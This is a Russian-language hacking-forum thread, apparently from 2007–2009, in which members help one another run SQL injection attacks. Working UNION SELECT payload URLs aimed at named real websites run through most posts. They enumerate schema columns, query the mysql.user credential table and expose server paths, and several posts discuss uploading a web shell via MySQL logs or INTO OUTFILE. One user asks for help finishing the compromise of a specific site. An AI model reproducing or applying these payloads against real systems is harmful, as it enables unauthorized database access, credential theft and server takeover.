HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи > Авторские статьи
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 19.06.2008, 07:47
Лайт
Участник форума
Регистрация: 23.05.2007
Сообщений: 143
Провел на форуме:
2252257

Репутация: 627
По умолчанию

Цитата:
Сообщение от Sandjuro  
Чего я ни так делаю, почему вместо вывода столбцов ошбка?

http://www.oke.ru/xo4u.php?id=-42708+UNION+select+1,2,COLUMN_NAME,4,5,6,7,8,9,10+ FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME=' chausers'+LIMIT+0,1/*
Вот так делай: chausers переводишь в HEX ВОТ ТУТ, у тебя получится
636861757365727300 и дописываешь перед хексом 0x, потом вставляешь и вот как должно все выглядеть.

Кто будет пользоватся этим декодером, удаляйте 2 лишних нуля в конце, 636861757365727300
вот они.

Код:
http://www.oke.ru/xo4u.php?id=-42708+UNION+select+1,2,COLUMN_NAME,4,5,6,7,8,9,10+%20FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME=0x6368617573657273+LIMIT+0,1/*
ЗЫ Кстати там ХСС пашет, в 2х полях: имени и мыле.
http://www.oke.ru/xo4u.php?id=-42717

Последний раз редактировалось Лайт; 19.06.2008 в 16:01.. Причина: 00
 

Update
  #2  
Старый 04.10.2007, 13:58
[53x]Shadow
Leaders of Antichat
Регистрация: 25.01.2007
Сообщений: 341
Провел на форуме:
3372120

Репутация: 2565
По умолчанию Update

Дополнение

В MySQL существуют системные переменные:

@@basedir
@@datadir
@@tmpdir
@@version_compile_os


Пример запроса:
Код:
http://www.site.com/index.php?id=-1+union+select+1,2,@@basedir,3,4/*
С их помощью можно раскрыть пути:
-к файлам конфигурации MySQL(my.ini, my.cnf);
-к логам MySQL(hostname.err, mysql.log, mysql.err, etc..);

В некоторых случаях при наличии локального инклуда, через логи мускула можна осуществить заливку шела (как через логи апача).

С помощью @@version_compile_os, можно определить тип ОС.

Определить тип ОС часто, но не всегда, можно через version(), если в возвращенной строке версии есть:
строка "-log" - значит ОС *nix/linux типа;
строка "-nt" - значит ОС Windows типа.
 

  #3  
Старый 04.11.2007, 16:38
HornetBlack
Новичок
Регистрация: 28.10.2007
Сообщений: 11
Провел на форуме:
86145

Репутация: 12
По умолчанию

Все хорошо в ФАКах, но не очень они раскрывают один вопрос - варианты запросов используемых в скриптах. Пример:
вот такой запрос дает количество полей
http://www.site.org/article.php?id=3+order+by+4
а вот этот запрос возвращает ошибку
http://www.site.org/article.php?id=3+union+select+1,2,3,4
The used SELECT statements have a different number of columns
В каком варианте запроса такое может случиться? Сразу замечу, что кавычка или скобка после значения параметра дают ошибку.

Ясно, что кроме простейшего запроса SELECT x FROM t WHERE p='nn' могут быть и более сложные варианты, в т.ч. и с использованием скобок. Хотелось бы знать методы, которыми можно "вычислить" структуру запроса. Есть идеи?
 

  #4  
Старый 04.11.2007, 17:47
c411k
Reservists Of Antichat - Level 6
Регистрация: 16.07.2005
Сообщений: 653
Провел на форуме:
8854279

Репутация: 2727


По умолчанию

Цитата:
Сообщение от HornetBlack  
Все хорошо в ФАКах, но не очень они раскрывают один вопрос - варианты запросов используемых в скриптах. Пример:
вот такой запрос дает количество полей
http://www.site.org/article.php?id=3+order+by+4
а вот этот запрос возвращает ошибку
http://www.site.org/article.php?id=3+union+select+1,2,3,4
The used SELECT statements have a different number of columns
В каком варианте запроса такое может случиться? Сразу замечу, что кавычка или скобка после значения параметра дают ошибку.

Ясно, что кроме простейшего запроса SELECT x FROM t WHERE p='nn' могут быть и более сложные варианты, в т.ч. и с использованием скобок. Хотелось бы знать методы, которыми можно "вычислить" структуру запроса. Есть идеи?
коммент поставь.
order by 4/*
select 1,2,3,4/*
__________________
ПИУ-ПИУ...
 

  #5  
Старый 04.11.2007, 21:08
Scipio
Members of Antichat - Level 5
Регистрация: 02.11.2006
Сообщений: 781
Провел на форуме:
5939734

Репутация: 1917


По умолчанию

Цитата:
Сообщение от HornetBlack  
Ну я же не настолько начинающий
http://www.soaw.org./article.php?id=322+union+select+1,2,3,4/*
The used SELECT statements have a different number of columns
Не влияет коммент ни на ордер ни на юнион. Если не ошибаюсь, это говорит о том, что параметр - последний в запросе и отсутствуют ордеры и лимиты.
вобщем представь такую фигню, есть два запроса подряд:
Код:
"select id,name,login,password,description from table where id=".$id.";"
"select id,name,login,password from table where id=".$id.";"
ты вводишь инъект: $id=-1 order by 4/*
в конечном итоге все будет так:
Код:
"select id,name,login,password,description from table where id=-1 order by 4/*
"select id,name,login,password from table where id=-1 order by 4/*
ошибки как видишь быть не должно
если ты поставишь $id=-1 order by 5/* то во втором запросе будет ошибка
Цитата:
Unknown column '5' in 'order clause'
и ты думаешь, что полей 4...

дальше ты вставляешь инъект:
$id=-1 union select 1,2,3,4/*
тут же первый запрос выплевывает ошибку
Цитата:
The used SELECT statements have a different number of columns
т.к в первом запросе полей 5
если ты вставишь инъект:
$id=-1 union select 1,2,3,4,5/*
то эту ошибку выплюнет второй запрос...

вот в этом вся причина твоих бед...

при таком раскладе возможно только использование подзапросов
__________________
Карфаген должен быть разрушен...

Последний раз редактировалось Scipio; 04.11.2007 в 21:22..
 

  #6  
Старый 04.11.2007, 21:47
HornetBlack
Новичок
Регистрация: 28.10.2007
Сообщений: 11
Провел на форуме:
86145

Репутация: 12
По умолчанию

Цитата:
Сообщение от Scipio  
т.к в первом запросе полей 5
если ты вставишь инъект:
$id=-1 union select 1,2,3,4,5/*
то эту ошибку выплюнет второй запрос...
вот в этом вся причина твоих бед...
Мысль понятна, но... разве объединение запросов через ";" в мускуле разрешено?
Впрочем, это частный случай заморочки, поэтому очень хотелось бы в каком-нибудь FAQ-е увидеть анализ возможных конструкций запросов в скриптах и варианты инжектов.
 

  #7  
Старый 25.04.2008, 12:25
Deka
Новичок
Регистрация: 15.02.2008
Сообщений: 3
Провел на форуме:
40874

Репутация: 10
По умолчанию

Scipio
Смотрел скули, чтоб разобраться как это работает, и вот заинтересовала такая вещь, здесь это прокатывает во вторм поле:
http://www.tamizdat.org/article.php?id=99999+union+select+1,2,3,4,5,6,7,8, 9,10,11,12,13+from+mysql.user/*

а здесь в нескольких полях:

http://www.saworship.com/article-page.php?ID=-1+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 ,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,3 2,33,34,35,36,37,38,39/*

Почему так?
 

  #8  
Старый 26.04.2008, 00:25
Scipio
Members of Antichat - Level 5
Регистрация: 02.11.2006
Сообщений: 781
Провел на форуме:
5939734

Репутация: 1917


По умолчанию

Цитата:
Сообщение от Deka  
Scipio
Смотрел скули, чтоб разобраться как это работает, и вот заинтересовала такая вещь, здесь это прокатывает во вторм поле:
http://www.tamizdat.org/article.php?id=99999+union+select+1,2,3,4,5,6,7,8, 9,10,11,12,13+from+mysql.user/*

а здесь в нескольких полях:

http://www.saworship.com/article-page.php?ID=-1+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 ,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,3 2,33,34,35,36,37,38,39/*

Почему так?
Посмотрел эти скули шелл можно залить как я описал при наличии папки на запись (в эти подробности не вдовался)
почему так? ну я привел пример гда объясняется вся поднаготная почему так, дерзай!
__________________
Карфаген должен быть разрушен...
 

  #9  
Старый 09.04.2009, 01:32
Plaf-di
Новичок
Регистрация: 23.03.2009
Сообщений: 10
Провел на форуме:
95007

Репутация: -9
По умолчанию

Я наверно задам глупый вопрос но может у кого нибуть есть все команды sql и что они обозначяют???

А ещё лучьше напишите статью в каких случаях какие применять!

зарание спосибо!!!


Да и ещё если ктото будет не против обьеснить пару маментов ( бесплатно ) пастучите пожалусто icq 412264840 ( хотя токие врятли будут )

и за что -5 поставили?

Последний раз редактировалось Plaf-di; 09.04.2009 в 01:58..
 

  #10  
Старый 09.10.2009, 21:37
N@b$ter
Новичок
Регистрация: 06.10.2009
Сообщений: 3
Провел на форуме:
76901

Репутация: 0
Question

Хай алл. Кароче фак суперский, но есть пара дополнений например, место того чтобы до куя раз писать limit+1,1 limit+2,1 не легче ли просто написать limit+1,200 и все таблицы выдут пробывал =). Ещё такой вопрос я нашёл дрявый сайт http://www.feldgrau.com/articles.php?ID=73+union+select+1,2,3,4,5,6,@@base dir,8/* ну раскрутил до нельзя, но не могу загнать шелл потому что там нет админки и через Into outfile тоже не получается кто знает помогите до конца освоить =)
 
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
SQL Injection: Modes of Attack, Defence, and Why It Matters bxN5 Forum for discussion of ANTICHAT 1 09.04.2007 19:07
SQL Injection FAQ bx_N Forum for discussion of ANTICHAT 2 08.03.2007 18:48



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.